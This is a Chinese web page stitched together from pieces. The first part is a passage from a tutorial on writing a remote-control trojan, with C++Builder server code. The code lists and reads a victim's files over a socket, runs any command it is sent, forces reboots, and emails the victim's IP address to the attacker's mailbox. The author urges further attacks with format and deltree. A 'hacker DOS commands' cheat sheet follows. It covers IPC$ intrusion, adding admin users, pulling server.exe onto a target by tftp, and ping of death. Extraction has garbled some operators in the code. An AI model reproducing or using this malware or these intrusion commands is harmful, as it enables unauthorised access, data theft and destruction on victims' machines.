AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
黑客输入法英文名叫什么
“黑客”是Hacker
的音译,“黑客输入法”可以翻译为
Hacker
Typewriting
Input
Method,
简称
Hacker
Input
Method。
黑客常有的dos命令
黑客常用DOS命令:
net use $"\\ip\ipc$Content$nbsp;" " /user:" " 建立IPC空链接
net use $"\\ip\ipc$Content$nbsp;"密码" /user:"用户名" 建立IPC非空链接
net use h: $"\\ip\c$Content$nbsp;"密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: $"\\ip\c$Content$nbsp;登陆后映射对方C:到本地为H:
net use $"\\ip\ipc$Content$nbsp;/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$Content$nbsp;开启ipc$共享
net share ipc$Content$nbsp;/del 删除ipc$共享
net share c$Content$nbsp;/del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中," "和" " 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe $"\\ip\admin$Content$nbsp;复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy $\svv.exe"\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:
doskey dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径\可执行文件的文件名为可执行文件设置一个路径。 cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; regedit /e 注册表文件名 导出注册表 cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 cacls 文件名 查看文件的访问用户权限列表 REM 文本内容 在批处理文件中添加注解 netsh 查看或更改本地网络配置情况 IIS服务命令: iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) iisreset /start或stop 启动(停止)所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 FTP 命令: (后面有详细说明内容) ftp的命令行格式为: ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 -d 使用调试方式。 -n 限制ftp的自动登录,即不使用.netrc文件。 -g 取消全局文件名。 help [命令] 或 ?[命令] 查看命令说明 bye 或 quit 终止主机FTP进程,并退出FTP管理方式. pwd 列出当前远端主机目录 put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 mget [remote-files] 从远端主机接收一批文件至本地主机 mput local-files 将本地主机中一批文件传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 ascii 设定以ASCII方式传送文件(缺省值) bin 或 image 设定以二进制方式传送文件 bell 每完成一次文件传送,报警提示 cdup 返回上一级目录 close 中断与远程服务器的ftp会话(与open对应) open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机中的文件 mdelete [remote-files] 删除一批文件